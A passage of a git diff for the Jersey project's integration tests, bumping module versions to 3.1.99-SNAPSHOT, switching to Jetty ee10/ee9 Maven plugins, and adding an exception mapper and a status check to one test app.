- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -63,8 +62,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-1964/pom.xml b/tests/integration/jersey-1964/pom.xml
index 1bd2cc1..9c70f0c 100644
--- a/tests/integration/jersey-1964/pom.xml
+++ b/tests/integration/jersey-1964/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-1964</artifactId>
@@ -48,7 +48,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -70,8 +69,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2031/pom.xml b/tests/integration/jersey-2031/pom.xml
index 0577609..7b25245 100644
--- a/tests/integration/jersey-2031/pom.xml
+++ b/tests/integration/jersey-2031/pom.xml
@@ -25,7 +25,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2031</artifactId>
@@ -46,7 +46,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
@@ -67,8 +66,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee9</groupId>
+ <artifactId>jetty-ee9-maven-plugin</artifactId>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
diff --git a/tests/integration/jersey-2136/pom.xml b/tests/integration/jersey-2136/pom.xml
index 01cc34a..3628f6c 100644
--- a/tests/integration/jersey-2136/pom.xml
+++ b/tests/integration/jersey-2136/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2136</artifactId>
diff --git a/tests/integration/jersey-2137/pom.xml b/tests/integration/jersey-2137/pom.xml
index b767dbc..06a5448 100644
--- a/tests/integration/jersey-2137/pom.xml
+++ b/tests/integration/jersey-2137/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2137</artifactId>
diff --git a/tests/integration/jersey-2154/pom.xml b/tests/integration/jersey-2154/pom.xml
index 63056f6..f1c1e17 100644
--- a/tests/integration/jersey-2154/pom.xml
+++ b/tests/integration/jersey-2154/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2154</artifactId>
diff --git a/tests/integration/jersey-2160/pom.xml b/tests/integration/jersey-2160/pom.xml
index 0d34282..c8eb611 100644
--- a/tests/integration/jersey-2160/pom.xml
+++ b/tests/integration/jersey-2160/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2160</artifactId>
@@ -36,7 +36,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -63,8 +62,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2164/pom.xml b/tests/integration/jersey-2164/pom.xml
index 57d3e21..b831d17 100644
--- a/tests/integration/jersey-2164/pom.xml
+++ b/tests/integration/jersey-2164/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2164</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2167/pom.xml b/tests/integration/jersey-2167/pom.xml
index 1005ef7..706088f 100644
--- a/tests/integration/jersey-2167/pom.xml
+++ b/tests/integration/jersey-2167/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2167</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2176/pom.xml b/tests/integration/jersey-2176/pom.xml
index 24aa77b..d7c5244 100644
--- a/tests/integration/jersey-2176/pom.xml
+++ b/tests/integration/jersey-2176/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2176</artifactId>
@@ -41,7 +41,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -63,8 +62,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee9</groupId>
+ <artifactId>jetty-ee9-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java
index 4bc3f0c..bff0fe2 100644
--- a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java
+++ b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -34,6 +34,7 @@
property(ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, setStatusOverSendError);
register(MyWriterInterceptor.class);
register(Issue2176ReproducerResource.class);
+ register(Jersey2176ExceptionMapper.class);
}
public boolean isSetStatusOverSendError() {
diff --git a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176ExceptionMapper.java b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176ExceptionMapper.java
new file mode 100644
index 0000000..3a97c3d
--- /dev/null
+++ b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176ExceptionMapper.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.integration.jersey2176;
+
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.ExceptionMapper;
+
+public class Jersey2176ExceptionMapper implements ExceptionMapper<Throwable> {
+ @Override
+ public Response toResponse(Throwable exception) {
+ if (exception instanceof WebApplicationException) {
+ return ((WebApplicationException) exception).getResponse();
+ }
+ return Response.status(Response.Status.INTERNAL_SERVER_ERROR).entity(exception).build();
+ }
+}
diff --git a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java
index ddb6b60..dadc0cd 100644
--- a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java
+++ b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -61,6 +61,9 @@
} catch (final Throwable th) {
status = "FAIL";
} finally {
+ if (((HttpServletResponse) response).getStatus() == 500) {
+ status = "FAIL";
+ }
final long duration = System.nanoTime() - startTime;
((HttpServletResponse) response).addHeader(X_SERVER_DURATION_HEADER, String.valueOf(duration));
((HttpServletResponse) response).addHeader(X_STATUS_HEADER, status);
diff --git a/tests/integration/jersey-2184/pom.xml b/tests/integration/jersey-2184/pom.xml
index d4f0303..0406ce1 100644
--- a/tests/integration/jersey-2184/pom.xml
+++ b/tests/integration/jersey-2184/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2184</artifactId>
@@ -42,7 +42,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -64,8 +63,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2255/pom.xml b/tests/integration/jersey-2255/pom.xml
index ae7df01..ed95927 100644
--- a/tests/integration/jersey-2255/pom.xml
+++ b/tests/integration/jersey-2255/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2255</artifactId>
@@ -64,8 +64,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2322/pom.xml b/tests/integration/jersey-2322/pom.xml
index fc5f567..1087bbb 100644
--- a/tests/integration/jersey-2322/pom.xml
+++ b/tests/integration/jersey-2322/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2322</artifactId>
@@ -58,22 +58,14 @@
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
- <configuration>
- <excludes>
- <exclude>**/*</exclude>
- </excludes>
- <testExcludes>
- <testExclude>**/*</testExclude>
- </testExcludes>
- </configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2335/pom.xml b/tests/integration/jersey-2335/pom.xml
index 6a0a032..b7b553f 100644
--- a/tests/integration/jersey-2335/pom.xml
+++ b/tests/integration/jersey-2335/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2335</artifactId>
@@ -60,8 +60,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2421/pom.xml b/tests/integration/jersey-2421/pom.xml
index 8705c2e..27f8c43 100644
--- a/tests/integration/jersey-2421/pom.xml
+++ b/tests/integration/jersey-2421/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2421</artifactId>
diff --git a/tests/integration/jersey-2551/pom.xml b/tests/integration/jersey-2551/pom.xml
index f767620..5b6009e 100644
--- a/tests/integration/jersey-2551/pom.xml
+++ b/tests/integration/jersey-2551/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2551</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2612/pom.xml b/tests/integration/jersey-2612/pom.xml
index c8b9abf..51fc18c 100644
--- a/tests/integration/jersey-2612/pom.xml
+++ b/tests/integration/jersey-2612/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2612</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2637/pom.xml b/tests/integration/jersey-2637/pom.xml
index 1f04049..fcd7d59 100644
--- a/tests/integration/jersey-2637/pom.xml
+++ b/tests/integration/jersey-2637/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2637</artifactId>
@@ -38,7 +38,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -64,8 +63,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2654/pom.xml b/tests/integration/jersey-2654/pom.xml
index 3034e36..eb3a91a 100644
--- a/tests/integration/jersey-2654/pom.xml
+++ b/tests/integration/jersey-2654/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2654</artifactId>
@@ -55,8 +55,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2673/pom.xml b/tests/integration/jersey-2673/pom.xml
index e228add..40097f9 100644
--- a/tests/integration/jersey-2673/pom.xml
+++ b/tests/integration/jersey-2673/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2673</artifactId>
@@ -53,7 +53,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -75,8 +74,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2689/pom.xml b/tests/integration/jersey-2689/pom.xml
index deb934a..7f18b87 100644
--- a/tests/integration/jersey-2689/pom.xml
+++ b/tests/integration/jersey-2689/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2689</artifactId>
@@ -81,7 +81,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
</dependencies>
@@ -97,8 +96,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2704/pom.xml b/tests/integration/jersey-2704/pom.xml
index 5dc92da..c3b9ff3 100644
--- a/tests/integration/jersey-2704/pom.xml
+++ b/tests/integration/jersey-2704/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2704</artifactId>
@@ -48,7 +48,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
</dependencies>
@@ -64,8 +63,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2776/pom.xml b/tests/integration/jersey-2776/pom.xml
index c9fdda3..354f655 100644
--- a/tests/integration/jersey-2776/pom.xml
+++ b/tests/integration/jersey-2776/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2776</artifactId>
@@ -73,8 +73,9 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.mortbay.jetty</groupId>
+ <groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-maven-plugin</artifactId>
+ <version>${jetty11.version}</version>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2794/pom.xml b/tests/integration/jersey-2794/pom.xml
index f35e413..cef3084 100644
--- a/tests/integration/jersey-2794/pom.xml
+++ b/tests/integration/jersey-2794/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2794</artifactId>
@@ -63,8 +63,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2846/pom.xml b/tests/integration/jersey-2846/pom.xml
index 58df897..966ad11 100644
--- a/tests/integration/jersey-2846/pom.xml
+++ b/tests/integration/jersey-2846/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2846</artifactId>
@@ -63,8 +63,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2878/pom.xml b/tests/integration/jersey-2878/pom.xml
index 9811834..24e9996 100644
--- a/tests/integration/jersey-2878/pom.xml
+++ b/tests/integration/jersey-2878/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2878</artifactId>
@@ -64,8 +64,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-2892/pom.xml b/tests/integration/jersey-2892/pom.xml
index 5137972..542c4c0 100644
--- a/tests/integration/jersey-2892/pom.xml
+++ b/tests/integration/jersey-2892/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-2892</artifactId>
@@ -70,8 +70,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-3662/pom.xml b/tests/integration/jersey-3662/pom.xml
index 8b4e3d7..956826d 100644
--- a/tests/integration/jersey-3662/pom.xml
+++ b/tests/integration/jersey-3662/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-3670/pom.xml b/tests/integration/jersey-3670/pom.xml
index 47891e9..37054d3 100644
--- a/tests/integration/jersey-3670/pom.xml
+++ b/tests/integration/jersey-3670/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-3670</artifactId>
diff --git a/tests/integration/jersey-3796/pom.xml b/tests/integration/jersey-3796/pom.xml
index 009c29e..e93dbf6 100644
--- a/tests/integration/jersey-3796/pom.xml
+++ b/tests/integration/jersey-3796/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-3796</artifactId>
@@ -47,7 +47,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -76,8 +75,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-3992/pom.xml b/tests/integration/jersey-3992/pom.xml
index 3480a73..7c4ecab 100644
--- a/tests/integration/jersey-3992/pom.xml
+++ b/tests/integration/jersey-3992/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-3992</artifactId>
diff --git a/tests/integration/jersey-4003/pom.xml b/tests/integration/jersey-4003/pom.xml
index 732e332..693f469 100644
--- a/tests/integration/jersey-4003/pom.xml
+++ b/tests/integration/jersey-4003/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-4099/pom.xml b/tests/integration/jersey-4099/pom.xml
index 2d1eb20..91bba93 100644
--- a/tests/integration/jersey-4099/pom.xml
+++ b/tests/integration/jersey-4099/pom.xml
@@ -24,7 +24,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-4099</artifactId>
@@ -60,6 +60,18 @@
<dependency>
<groupId>org.jboss.weld.se</groupId>
<artifactId>weld-se-core</artifactId>
+ <exclusions>
+ <exclusion>
+ <groupId>org.jboss.logging</groupId>
+ <artifactId>jboss-logging</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.jboss.logging</groupId>
+ <artifactId>jboss-logging</artifactId>
